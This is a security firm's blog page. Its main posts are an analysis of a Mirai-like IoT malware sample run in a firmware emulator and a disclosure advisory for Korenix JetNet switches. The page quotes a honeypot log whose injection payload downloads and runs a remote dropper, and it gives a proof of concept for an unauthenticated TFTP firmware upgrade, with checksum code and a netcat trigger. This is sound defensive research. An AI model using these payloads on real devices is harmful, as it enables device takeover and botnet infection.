CyberDanube

IoT Malware Analysis with MEDUSA

CyberDanube — Thu, 21 Mar 2024 14:51:31 +0000

Motivation

At CyberDanube, we’re driven by our curiosity regarding fresh embedded/IoT security topics. Therefore, we are constantly researching new threats, leveraging IoT/IIoT honeypots on public internet to intercept attacks in real-time. These insights fuel our internal research and the development of our firmware emulation solution MEDUSA. During an analysis of one of our deployed honeypots, we encountered a command injection exploit attempt that caught our attention. The related Vulnerability is publicly disclosed and has the assigned CVE number 2023-1389, which can be found online:

::ffff:80.94.92.60 - - [12/Mar/2024:07:50:22 +0000] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" "-"

The corresponding exploit specifically targets TP-Link Archer AX21 (AX1800) devices.

The log indicates that the attacker attempts to download and execute a malicious script (tenda.sh) from a server. This script serves as a dropper for multiple binaries, which appear to be cross-compiled for different architectures.

Although the malware has been previously studied by multiple researchers (such as those mentioned in the provided links https://blog.permafrostsec.com/posts/mirai-variant-cve-2023-1389/, https://ducklingstudio.blog.fc2.com/blog-entry-231.html), they primarily analyzed the x64 version of the binary. Given that the exploit targets the TP-Link Archer AX21, we aim to investigate whether there are any differences in behavior or functionality when it is run on the host architecture.

Our plan involves building a digital twin using our SaaS solution, MEDUSA, to conduct dynamic analysis on the acquired malware. However, before proceeding, we aim to gain an overview and understanding of the sample’s behavior. Therefore, we initiated our study by examining the mipsel binary with the MD5 hash 9c044ba07dc2e144b68c13d6507e39c5.

Static Analysis

For static analysis, we decompressed the sample with UPX and loaded it into Binary Ninja. We observed that many functions exhibit a similar structure, parsing arguments and making syscalls with predefined values. For instance, the connect syscall function had the following format:

0040ef00  int32_t sub_40ef00(int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg4)
0040ef20      int32_t $v0 = syscall(0x104a)
0040ef28      if (arg4 != 0)
0040ef3c          open_call_file_ptr = $v0
0040ef40          $v0 = 0xffffffff
0040ef4c      return $v0

To streamline the task of renaming functions in the binary and gain a clearer understanding of its functionality, we opted to utilize Binary Ninja’s API. We constructed a semicolon-separated list containing syscall names and their corresponding numbers, which we sourced from https://syscalls.w3challs.com/?arch=mips_o32

The script iterates over all functions, checks if a syscall has been found, and if so, looks up the syscall number to rename the function accordingly. We highly recommend using the snippet editor plugin for Binary Ninja scripting to facilitate this process.

import binaryninja

def get_syscall(func):
	for inst in func.llil.instructions:
		if inst.operation == LowLevelILOperation.LLIL_SYSCALL:
			return hex(inst.get_reg_value("$v0").value)

def get_syscall_name(hex_number):
	file_path = '/path/to/mipsel_syscall'
	with open(file_path, 'r') as file:
		for line in file:
		parts = line.strip().split(';')
		if len(parts) == 2:
			name, hex_val = parts
		if hex_val == hex_number:
			return name
	return None

def main():
	num = 0
	for func in bv.functions:
		v0 = get_syscall(func)
		if v0:
			syscall = get_syscall_name(v0)
			if syscall:
				func.name = syscall
				num+=1
	print("Renamed {} functions".format(num))

main()

After execution, the script successfully renames 50 functions for us. Continuing our study, we proceed to reverse the main function at address 0x409254. Our analysis reveals that during startup, the malware deletes the executable from the filesystem and appears to access watchdog-related devices to prevent the system from rebooting. Subsequently, it binds itself to TCP port 39123, changes its process name, and forks.

The child process enters a while true loop with two separate paths (the third being an exit condition), indicating that this will be our primary communication loop.

Depending on a flag, the binary follows one of two paths. The right one appears to handle sending data to the C&C server, while the other is for receiving and processing data. In the listening state, the received buffer is passed as a parameter to the function located at 0x40061c (do_stuff_with_buf).

From the initial static analysis, we can draw several conclusions:

The malware is designed to be used in a botnet
There are no apparent signs of anti-debugging techniques
The malware is likely not persistent and only executes in memory.
For dynamic analysis, we may require an internet connection, as without it, the binary might trigger the exit condition prematurely.

Other researchers have noted that the binary attempts to terminate network monitoring applications such as tcpdump, tshark, or Wireshark. However, the sample we obtained did not appear to possess these capabilities. In fact, the execve syscall was not even detected in the binary, which could suggest that the infected machine is solely being used as a denial-of-service bot. Nevertheless, this remains speculative.

Digital Twin with MEDUSA

We utilized firmware version 1.0.5 Build 20221116 for hardware version 4.6 (available at https://static.tp-link.com/upload/firmware/2023/202306/20230601/Archer%20AX21_V4.6_221116.zip) as our base. After uploading it to MEDUSA with the default configuration, we downloaded the built image for local usage. After setting up a virtual bridge (virbr0), we initiated the emulation and were greeted with the motd banner. To assess emulation fidelity, we started the firmware without any modifications.

+------------------------------------------------+
| MEDUSA v1.3 (dynana)                           |
|                                                |
| firmware location:      /medusa/rootfs         |
| static utils:           /medusa/utils          |
|                                                |
| Start exploring your firmware by executing     |
| $ medusa                                       |
|                                                |
+------------------------------------------------+
medusa:~$ medusa start
[...]
wireless is starting...
pcnet32 0000:00:13.0 eth0: link up
saveconfig() begin
saveconfig() end
init_all_vif_name
DEVICES=
wifi_init 
config_profile_set, DfsEnable=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, IEEE80211H=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, DfsZeroWait=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, DfsDedicatedZeroWait=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, DfsZeroWaitDefault=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
wifi_reload
========= don't cli WIFI-led when booting or not cal
[IPTV] WAN_PHY_IF=eth1.1
[IPTV] LAN_PHY_IF=eth0.2

The resulting ps output appeared promising, and there were also some active network services, as indicated by the netstat output. However, the web server didn’t seem to be running. Consequently, we restarted the emulation and began debugging the uhttpd service.

 482 root     /usr/bin/ledctrl
 488 root     /usr/bin/ledctrl
 489 root     /usr/bin/ledctrl
 495 root     /sbin/hotplug2 --override --persistent --set-rules-file /etc/hot
 548 root     udhcpc -t1 -A3 -b -R -O search -O staticroutes -p /var/run/udhcp
 984 root     lock /var/run/dnsproxy.lock
1985 root     /usr/bin/factory_reset
2007 root     /usr/sbin/sysmond
2029 root     /usr/bin/tmpServer
2030 root     /usr/bin/tdpServer
2031 root     /usr/bin/pfclient
2038 root     /usr/bin/pfclient
2040 root     /usr/bin/pfclient
2041 root     /usr/bin/pfclient
2047 root     /usr/sbin/tsched
2049 root     /usr/bin/tdpServer
2050 root     /usr/bin/tdpServer
2082 root     /usr/bin/sync-server
2111 root     /usr/sbin/imbd
2134 root     /usr/bin/client_mgmt
2206 root     /usr/sbin/dosd
2262 root     /usr/sbin/dosd
2263 root     /usr/sbin/dosd
2432 root     tddp
2456 root     /usr/bin/cloud-brd -c /etc/cloud_config.cfg
2462 root     /usr/bin/cloud-brd -c /etc/cloud_config.cfg
2463 root     /usr/bin/cloud-brd -c /etc/cloud_config.cfg
2483 root     /usr/bin/cloud-client
2489 root     /usr/bin/cloud-https -c /etc/cloud_https.cfg
2494 root     {cloud_https_boo} /usr/bin/lua /usr/sbin/cloud_https_bootreq
2518 root     {S99detPdmaHung} /bin/sh /etc/rc.common /etc/rc.d/S99detPdmaHung
2829 root     {S99zswitch_led} /bin/sh /etc/rc.common /etc/rc.d/S99zswitch_led
2832 root     /usr/bin/switch_led
2877 root     /usr/sbin/conn-indicator
2992 root     /usr/sbin/crond -c /etc/crontabs -l 5

medusa:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 127.0.0.1:20002         0.0.0.0:*               LISTEN      
udp        0      0 0.0.0.0:34062           0.0.0.0:*                           
udp        0      0 0.0.0.0:1040            0.0.0.0:*                           
udp        0      0 0.0.0.0:20002           0.0.0.0:*                           
udp        0      0 :::1                    :::*

To investigate why the service exits, we entered the target firmware using msh (an alias for medusa sh static) and added the line set -x to /etc/init.d/uhttpd. This allowed us to trace the code execution. Upon examining the trace output, it became evident that the service file attempted to execute the functions config_load and config_foreach.

medusa:~$ msh
target:/$ /etc/init.d/uhttpd boot
+ START=50
+ SERVICE_DAEMONIZE=1
+ SERVICE_WRITE_PID=1
+ UHTTPD_BIN=/usr/sbin/uhttpd
+ PX5G_BIN=/usr/sbin/px5g
+ OPENSSL_BIN=/usr/bin/openssl
+ ALL_COMMANDS=start stop reload restart boot shutdown enable disable enabled depends 
+ list_contains ALL_COMMANDS boot
+ local var=ALL_COMMANDS
+ local str=boot
+ local val
+ eval val=" ${ALL_COMMANDS} "
+ val= start stop reload restart boot shutdown enable disable enabled depends  
+ [  start stop reload restart !=  start stop reload restart boot shutdown enable disable enabled depends   ]
+ [ boot = reload ]
+ [ -z  ]
+ [ boot != help ]
+ which lock
+ lockfile=/var/run/uhttpd.init.lock
+ lock /var/run/uhttpd.init.lock
+ boot
+ start
+ config_load uhttpd
+ [ -n / ]
+ return 0
+ config_foreach start_instance uhttpd
+ local ___function=start_instance
+ [ 2 -ge 1 ]
+ shift
+ local ___type=uhttpd
+ [ 1 -ge 1 ]
+ shift
+ local section cfgtype
+ [ -z  ]
+ return 0
+ lock -u /var/run/uhttpd.init.lock

Upon searching for the function definitions, we discovered that config_load returns 0 if the environment variable IPKG_INSTROOT is set. However, when the function returns without executing uci_load, the variable CONFIG_SECTIONS in config_foreach remains empty and thus returns without any further execution.

#/etc/functions.sh:
config_load() {
    [ -n "$IPKG_INSTROOT" ] && return 0
    uci_load "$@"
}

config_foreach() {
	local ___function="$1"
	[ "$#" -ge 1 ] && shift
	local ___type="$1"
	[ "$#" -ge 1 ] && shift
	local section cfgtype

	[ -z "$CONFIG_SECTIONS" ] && return 0
	for section in ${CONFIG_SECTIONS}; do
		config_get cfgtype "$section" TYPE
		[ -n "$___type" -a "x$cfgtype" != "x$___type" ] && continue
		eval "$___function \"\$section\" \"\$@\""
	done
}

#/lib/config/uci.sh:
uci_load() {
	local PACKAGE="$1"
	local DATA
	local RET
	local VAR

	_C=0
	if [ -z "$CONFIG_APPEND" ]; then
		for VAR in $CONFIG_LIST_STATE; do
			export ${NO_EXPORT:+-n} CONFIG_${VAR}=
			export ${NO_EXPORT:+-n} CONFIG_${VAR}_LENGTH=
		done
		export ${NO_EXPORT:+-n} CONFIG_LIST_STATE=
		export ${NO_EXPORT:+-n} CONFIG_SECTIONS=
		export ${NO_EXPORT:+-n} CONFIG_NUM_SECTIONS=0
		export ${NO_EXPORT:+-n} CONFIG_SECTION=
	fi

	DATA="$(/sbin/uci ${UCI_CONFIG_DIR:+-c $UCI_CONFIG_DIR} ${LOAD_STATE:+-P /var/state} -S -n export "$PACKAGE" 2>/dev/null)"
	RET="$?"
	[ "$RET" != 0 -o -z "$DATA" ] || eval "$DATA"
	unset DATA

	${CONFIG_SECTION:+config_cb}
	return "$RET"
}

So, why is the environment variable set in the first place? It appears we stumbled upon a minor bug in the analysis engine. MEDUSA seems to identify the firmware as an OpenWrt variant, which isn’t entirely incorrect. However, as a consequence, an extra environment variable is added to /etc/profile, which isn’t necessary for this particular image.

#MEDUSA nvram simulation
export LD_PRELOAD=/medusa/extensions/nvram/libnvram.so
#MEDUSA OpenWrt INSTROOT not set
export IPKG_INSTROOT=/

After removing the variable, we modified the service file to launch the web server in the foreground and manually started ubusd. Subsequently, executing /etc/init.d/uhttpd boot led to a functional web server.

To verify the application’s functionality, we tested the PoC for CVE-2023-1389 as provided by Tenable (https://www.tenable.com/security/research/tra-2023-11). And indeed, the PoC resulted in the creation of a file by the root user.

target:/$ ls /tmp/
client_list.json   fstab              multi_lang         spool
cloud-brd          is_online          once_online        state
cloud.pid          is_online_v6       once_online_v6     stats
cloud_https.pid    lib                productinfo        sync-server
cloud_service.cfg  lock               resolv.conf        wportal
dropbear           log                resolv.conf.auto
dut_bootdone       luci-indexcache    run
etc                merge-conf.xml     sfe_status
target:/$ saveconfig() begin
saveconfig() end
mergeconfigbycountry() begin
mergeconfigbycountry() end
saveconfig() begin
saveconfig() end
mergeconfigbycountry() begin
mergeconfigbycountry() end
target:/$ cat /tmp/pwned 
uid=0(root) gid=0(root) groups=0(root),10

Dynamic Analysis

For dynamic analysis, we aimed to understand which files the malware accessed, alongside an strace output, to compare against our static analysis results. MEDUSA offers a fantastic utility called oprobe, which essentially traces all files and devices opened by a process across the entire system. Here’s an example of the oprobe output while running the exploit:

medusa:~$ medusa oprobe
sh-506                  0xfffffffe          "/lib/libjson.so.0"
sh-506                  0x4                 "/usr/lib/libjson.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
id-507                  0x4                 "/tmp/pwned"

For strace’ing we rely on the statically compiled utilities provided by MEDUSA. This collection of debugging binaries is invaluable in situations where the target lacks any built-in tools. You can locate these utilities within the target’s path at /medusa/utils.

target:/$ ls /medusa/utils/
bash       gdbserver  perl       strace
busybox    ncat       socat      tcpdump

Additionally, we launched a Wireshark instance on our host machine, specifically on virbr0, just in case the binary attempted to terminate network monitoring applications. Here’s how our tracers are setup within the emulation:

medusa:~$ medusa oprobe > /oprobe.log &
[1] 558
medusa:~$ msh
target:/$ /medusa/utils/strace -s200 -o parent.log ./mpsl

After starting the malware we were a little bit surprised by the results. The oprobe output revealed some intriguing file accesses. We’re not entirely sure of their purpose, but our network capture didn’t indicate any data exfiltration. Yet, the most surprising discovery was probably the behavior of the fork logic.

mpsl-269                0xfffffffe          "/dev/watchdog"
mpsl-269                0xfffffffe          "/dev/misc/watchdog"
strace-266              0x4                 "/etc/localtime"
kvpb5gdjdvpf3tj-271     0x0                 "/tmp"
kvpb5gdjdvpf3tj-272     0x0                 "/proc/"
kvpb5gdjdvpf3tj-272     0x1                 "/tmp"
kvpb5gdjdvpf3tj-272     0xfffffffe          "/opt"
kvpb5gdjdvpf3tj-272     0xfffffffe          "/home"
kvpb5gdjdvpf3tj-272     0x2                 "/dev"
kvpb5gdjdvpf3tj-272     0x4                 "/var"
kvpb5gdjdvpf3tj-272     0x5                 "/sbin"
kvpb5gdjdvpf3tj-271     0x1                 "/tmp/etc"
kvpb5gdjdvpf3tj-271     0x2                 "/tmp/etc/config"
kvpb5gdjdvpf3tj-271     0x1                 "/tmp/multi_lang"
kvpb5gdjdvpf3tj-271     0x1                 "/tmp/stats"
kvpb5gdjdvpf3tj-271     0x0                 "/var"
kvpb5gdjdvpf3tj-271     0x1                 "/var/passwd"
kvpb5gdjdvpf3tj-271     0x1                 "/var/samba"
kvpb5gdjdvpf3tj-271     0x2                 "/var/samba/var"
kvpb5gdjdvpf3tj-271     0x4                 "/var/samba/var/locks"
kvpb5gdjdvpf3tj-271     0x2                 "/var/samba/lib"
kvpb5gdjdvpf3tj-271     0x2                 "/var/samba/private"
kvpb5gdjdvpf3tj-271     0x1                 "/var/Wireless"
kvpb5gdjdvpf3tj-271     0x2                 "/var/Wireless/RT2860AP"
kvpb5gdjdvpf3tj-271     0x1                 "/var/lock"
kvpb5gdjdvpf3tj-271     0x1                 "/var/run"
kvpb5gdjdvpf3tj-271     0x1                 "/var/tmp"
kvpb5gdjdvpf3tj-271     0x2                 "/var/tmp/pc"
kvpb5gdjdvpf3tj-271     0x2                 "/var/tmp/TZ"

While the parent process followed our expectations, the child took a different route. Instead of quietly binding and listening in the background, it behaved like a fork bomb, gobbling up system resources until the oom-killer stepped in. Initially, we wondered if the aim was to exhaust all threads, preventing management services like SSH or HTTP from restarting, thus securing the machine against other malicious actors. But upon reflection, that theory didn’t hold up. We didn’t find any process-killing logic, and other researchers hadn’t reported similar findings. Plus, why would they want to exhaust the TCP stack on the host system?

[   5061]     0  5061       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5062]     0  5062       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5063]     0  5063       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5064]     0  5064       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5065]     0  5065       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5066]     0  5066       77        0    12288        0             0 kvpb5gdjdvpf3tj
oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),task=kvpb5gdjdvpf3tj,pid=5066,uid=0
Out of memory: Killed process 5066 (kvpb5gdjdvpf3tj) total-vm:308kB, anon-rss:0kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:12kB oom_score_adj:0

target:/$ net_ratelimit: 895 callbacks suppressed
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets

We couldn’t quite figure out why the malware acts so differently on mipsel. For us, it seemed like someone relied a little bit too much on their cross-compilation toolchain and forgot to test it properly. In contrast, when running the armv7 sample the process tree and netstat output match what you’d expect from a MIRAI variant.

 135 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
 166 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
 167 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
 168 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
 
# netstat -tuln 
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 127.0.0.1:39123         0.0.0.0:*               LISTEN

This minor oversight not only renders the device inoperable but also significantly increases network bandwidth usage. After capturing 30 seconds of network traffic using tcpdump and counting the transmitted bytes, our analysis revealed that the mipsel variant transferred 2638 times more data than its corresponding armv7 variant within that timeframe.

======================================================================
| IO Statistics (mipsel)          || IO Statistics (armv7)           |
|                                 ||                                 |
| Duration: 30.0 secs             || Duration: 28.3 secs             |
| Interval: 30.0 secs             || Interval: 28.3 secs             |
|                                 ||                                 |
| Col 1: Frames and bytes         || Col 1: Frames and bytes         |
|---------------------------------||---------------------------------|
|              |1                 ||              |1               | |
| Interval     | Frames |  Bytes  || Interval     | Frames | Bytes | |
|---------------------------------||-------------------------------| |
|  0.0 <> 30.0 |  33983 | 2459120 ||  0.0 <> 28.3 |     14 |   837 | |
======================================================================

The malware has been designed for denial of service attacks, but it essentially starts an amplification DoS attack on its own C&C server. Malware, that’s posing a risk to itself, reaches a new level of irony.

Conclusion

Our IoT malware analysis has been a great knowledge extension experience and also revealed entertaining results. We’ve shared insights into our methodology, using static analysis tools alongside our system emulation framework, MEDUSA. The development of a functional digital twin opens possibilties for future security research or the deployment of honeypot traps. And along the way, we’ve shown the critical role of integration tests (or lack thereof, for those with malicious intentions).

This analysis was conducted by Sebastian Dietz on behalf of CyberDanube Security Research.

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on embedded systems, firmware analysis with digital twins and information security risk assessment. Currently, he is working on further development of the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points. Most recently, Sebastian was involved in uncovering zero-day vulnerabilities and publishing of security advisories.

[EN] Automotive Pentesting – Security Paper

CyberDanube — Mon, 29 Jan 2024 10:25:11 +0000

Driving the Future: CyberDanube’s Automotive Cyber Security Paper

In an era of connected automotive technology, the integration of digital innovations elevates our driving experience. However, with progress comes new challenges, especially in cybersecurity. As vehicles become more connected, the risks of cyber threats escalate. CyberDanube addresses these challenges head-on with our latest Security Paper, exploring the intricacies of safeguarding automotive systems.

Understanding Cyber Threats to Modern Vehicles

Our Security Paper delves into the evolving landscape of cyber threats targeting modern (automotive) cars. As vehicles embrace IoT and embedded connectivity, susceptibility to malicious activities by hackers increases. This blog artickle & the security paper emphasizes the need to proactively address vulnerabilities.

Pentesting Insights: Unveiling Automotive Vulnerabilities

Highlights include insights from our penetration testing (Pentest) of automotive components, revealing common vulnerabilities and weaknesses. From insecure software configurations to potential entry points for unauthorized access, our findings shed light on crucial areas demanding attention.

The Growing Significance of Automotive Cyber Security

As we venture into a future of connected mobility, the Security Paper underscores the increasing importance of cybersecurity in modern cars. It addresses technical details of cyber attacks targeting automotive systems, emphasizing the need for robust security measures.

Download and Share: Take Action for Secure Connectivity

Explore the depths of pentesting to automotive, setting ourselves apart as one of the few in Austria to reach the lowest hardware layer. Feel free to download our paper, a valuable resource that not only outlines our approach but also provides insights into securing the heart of Industry 4.0. Let’s navigate the complexities together and contribute to a safer, more resilient industrial landscape (especially concerning IoT and embedded systems).

Ready to dive deeper into the world of automotive pentesting and cybersecurity? We invite you to take the next step in fortifying a secure automotive future.

Get in Touch: Have questions or eager to discuss how our expertise can benefit your specific needs? Reach out to us! Our team is ready to engage in meaningful conversations about securing your systems.
Download the Paper: Knowledge is power. Download our comprehensive paper, delving into our unique approach, common pitfalls, and the importance of securing the modern automotive domain.
Share the Knowledge: Know someone who could benefit from our insights? Share the paper with your colleagues, peers, and network. Security is a collective effort, and spreading awareness is a crucial step towards a resilient digital landscape.
Stay Updated: Follow us on social media (LinkedIn) for the latest updates, news, and insights into the ever-evolving world of industrial cybersecurity. Connect with us on LinkedIn to stay in the loop.

At CyberDanube, we believe in the power of collaboration and knowledge sharing. Your security is our priority, and we look forward to partnering with you in securing the future of critical infrastructure.

Get in touch or via E-Mail (office [at] cyberdanube.com), download the paper, and let’s build a safer, more resilient digital landscape together!

View Fullscreen

[EN] Multiple Vulnerabilities in Korenix JetNet Series

CyberDanube — Tue, 09 Jan 2024 09:57:47 +0000

Title: Multiple Vulnerabilities
Product: Korenix JetNet Series
Vulnerable version: See “Vulnerable versions”
Fixed version: –
CVE: CVE-2023-5376, CVE-2023-5347
Impact: High
Homepage: https://www.korenix.com/
Found: 2023-08-31

Korenix JetNet series is prone to a unauthenticated firmware upgrade, which leads to remote code execution.

Vendor description

“Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions. With decades of experiences in the industry, we have developed various product lines […]. Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners. […]”

Source: https://www.korenix.com/en/about/index.aspx?kind=3

Vulnerable versions

Tested on emulated Korenix JetNet 5310G / v2.6

All vulnerable models/versions according to vendor:
JetNet 4508 (4508i-w V1.3, 4508 V2.3, 4508-w V2.3)
JetNet 4508f, 4508if (4508if-s V1.3,4508if-m V1.3, 4508if-sw V1.3, 4508if-mw V1.3, 4508f-m V2.3, 4508f-s V2.3, 4508f-mw V2.3, 4508f-sw V2.3)
JetNet 5620G-4C V1.1
JetNet 5612GP-4F V1.2
JetNet 5612G-4F V1.2
JetNet 5728G (5728G-24P-AC-2DC-US V2.1, 5728G-24P-AC-2DC-EU V2.0)
JetNet 528Gf (6528Gf-2AC-EU V1.0, 6528Gf-2AC-US V1.0, 6528Gf-2DC24 V1.0, 6528Gf-2DC48 V1.0, 6528Gf-AC-EU V1.0, 6528Gf-AC-US V1.0)
JetNet 6628XP-4F-US V1.1
JetNet 6628X-4F-EU V1.0
JetNet 6728G (6728G-24P-AC-2DC-US V1.1, 6728G-24P-AC-2DC-EU V1.1)
JetNet 6828Gf (6828Gf-2DC48 V1.0, 6828Gf-2DC24 V1.0, 6828Gf-AC-DC24-US V1.0, 6828Gf-2AC-US V1.0, 6828Gf-AC-US V1.0, 6828Gf-2AC-AU V1.0, 6828Gf-AC-DC24-EU V1.0, 6828Gf-2AC-EU V1.0)
JetNet 6910G-M12 HVDC V1.0
JetNet 7310G-V2 2.0
JetNet 7628XP-4F-US V1.0, 7628XP-4F-US V1.1, 7628XP-4F-EU V1.0, 7628XP-4F-EU V1.1
JetNet 7628X-4F-US V1.0, 7628X-4F-EU V1.0
JetNet 7714G-M12 HVDC V1.0

Vulnerability overview

1) TFTP Without Authentication (CVE-2023-5376)
The available tftp service is accessable without user authentication. This allows the user to upload and download files to the restricted “/home” folder.

2) Unauthenticated Firmware Upgrade (CVE-2023-5347)
A critical security vulnerability has been identified that may allow an unauthenticated attacker to compromise the integrity of a device or cause a denial of service (DoS) condition. This vulnerability resides in the firmware upgrade process of the affected system.

Proof of Concept

1) TFTP Without Authentication (CVE-2023-5376)

The Linux tftp client was used to upload a firmware to the absolute path “/home/firmware.bin”:

# tftp $IP
tftp> put exploit.bin /home/firmware.bin
Sent 5520766 bytes in 5.7 seconds

2) Unauthenticated Firmware Upgrade (CVE-2023-5347)

Unauthenticated attackers can exploit this by uploading malicious firmware via TFTP and initializing the upgrade process with a crafted UDP packet on port 5010.

We came to the conclusion that the firmware image consists of multiple sections. Our interpretation of these can be seen below:

class FirmwarePart:
def init(self, name, offset, size):
self.name = name
self.offset = offset
self.size = size

firmware_parts = [
FirmwarePart(“uimage_header”, 0x0, 0x40),
FirmwarePart(“uimage_kernel”, 0x40, 0x3c54),
FirmwarePart(“gzip”, 0x3c94, 0x14a000 – 0x3c94),
FirmwarePart(“squashfs”, 0x14a000, 0x539000 – 0x14a000),
FirmwarePart(“metadata”, 0x539000, 5480448 – 0x539000),
]

The squashfs includes the rootfs. Metadata includes a 4 byte checksum which needs to be modified when repacked. During our analysis we observed that the checksum gets calculated over all sections except metadata. To test this vulnerability we reimplemented the checksum calculation at offset 0x9bdc in the binary “/bin/cmd-server2”:

#include
#include
#include

int32_t check_file(const char* arg1) {
FILE* r0 = fopen(arg1, “rb”);

if (!r0) {
return 0xffffffff;
}

int32_t filechecksum = 0;
int32_t last_data_size = 0;
int32_t file_size = 0;
uint8_t data_buf[4096];
int32_t data_len = 1;

while (data_len > 0) {
data_len = fread(data_buf, 1, sizeof(data_buf), r0);

if (data_len == 0) {
break;
}

int32_t counter = 0;
while (counter < (data_len >> 2)) {
int32_t byte_at_counter = *((int32_t*)(data_buf + (counter << 2)));
counter++;
filechecksum += byte_at_counter;
}

file_size += data_len;
last_data_size = data_len;
}

fclose(r0);

if (last_data_size < 0x400 || (last_data_size >= 0x400 && (file_size – 0x14a
000) > 0x5ac000)) {
return 0xffffffff;
}

data_len = 0;
while (data_len < (last_data_size >> 2)) {
int32_t r3_2 = *((int32_t*)(data_buf + (data_len << 2)));
data_len++;
filechecksum -= r3_2;
}

return filechecksum;
}

int main(int argc, char* argv[]) {
if (argc != 2) {
printf(“Usage: %s \n”, argv[0]);
return 1;
}

int32_t result = check_file(argv[1]);
printf(“0x%x\n”, result);

return 0;
}

After modifying and repacking the squashfs, we calculated the checksum, patched the required bytes in the metadata section (offset 0x11b-0x11e) and initilized the update process.

# tftp $IP
tftp> put exploit.bin /home/firmware.bin
Sent 5520766 bytes in 5.7 seconds

# echo -e “\x00\x00\x00\x1f\x00\x00\x00\x01\x01” | nc -u $IP 5010

The output of the serial console can be observed below:

Jan 1 00:01:00 Jan 1 00:01:00 syslog: UDP cmd is received
Jan 1 00:01:00 Jan 1 00:01:00 syslog: management vlan = sw0.0
Jan 1 00:01:00 Jan 1 00:01:00 syslog: setsockopt(SO_BINDTODEVICE) No such devi
Jan 1 00:01:00 Jan 1 00:01:00 syslog: tlv_count = 0
Jan 1 00:01:00 Jan 1 00:01:00 syslog: rec_bytes = 10
Jan 1 00:01:00 Jan 1 00:01:00 syslog: command TLV_FW_UPGRADE received
check firmware…
checksum=b2256313, inFileChecksum=b2256313
Firmware upgrading, don’t turn off the switch!
Begin erasing flash:
.
Write firmware.bin (5480448 Bytes) to flash:
…
Write finished…
Terminating child processes…
Jan 1 00:01:01 Jan 1 00:01:01 syslog: first time create tlv_chain
Jan 1 00:01:01 syslogd exiting
Firmware upgrade success!!
waiting for reboot command …….

The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Beijer/Korenix provided a workaround to mitigate the vulnerabilities until a proper patch is available (see “Workaround” section).

Workaround

Beijer representatives provided the following workaround for mitigating the
vulnerabilities on devices of the JetNet series:

Switch# configure terminal

Switch(config)# service ipscan disable

Switch(config)# tftpd disable

Switch(config)# copy running-config startup-config

Source: https://www.beijerelectronics.com/en/support/Help___online?docId=69947

This commands should be used to deactivate the TFTP daemon on the device to
prevent unauthenticated actors from abusing the service.

Recommendation

Regardless to the current state of the vulnerability, CyberDanube recommends customers from Korenix to upgrade the firmware to the latest version available. Furthermore, a full security review by professionals is recommended.

Contact Timeline

31-08-2023: Contacting Beijer Electronics Group via cs@beijerelectronics.com.
31-08-2023: Receiving contact information. Send vulnerability information.
26-09-2023: Asking about vulnerability status and receiving update release date.
27-10-2023: Received update from contact regarding the firmware update.
29-11-2023: Meeting with contact stating that it effects the whole series.
31-11-2023: Meeting to discuss potential solutions.
11-12-2023: Release delayed due to lack of workaround from manufacturer.
21-12-2023: Manufacturer provides workaround. Release date confirmed.
09-01-2024: Coordinated release of security advisory.

Author

[EN] Industrial Smart Meter Pentesting – Security Paper

CyberDanube — Mon, 27 Nov 2023 16:18:23 +0000

Unveiling Vulnerabilities: A Deep Dive into Pentesting Industrial Smart Meters

See our latest blog post, where we embark on a journey into the world of industrial smart meters. In an era where the backbone of critical infrastructure relies on interconnected systems, the security of hardware and software becomes paramount. Today, we delve into the realm of pentesting, specifically focusing on the challenges and nuances encountered in the examination of industrial smart meters.

Nestled in Vienna, our Hardware Lab is at the forefront of innovation, allowing us to go beyond conventional security testing. Here, we test both software and hardware components using specialized equipment housed in our office. What sets us apart is our commitment to delving deep, all the way down to the lowest hardware layer—an approach that only a select few in Austria undertake.

As pioneers in this field, we recognize the critical importance of securing industrial smart meters and their role in the broader context of critical infrastructure and Industry 4.0. Our expertise is not theoretical but a hands-on, practical application that addresses the real-world challenges of ensuring the security and resilience of interconnected systems.

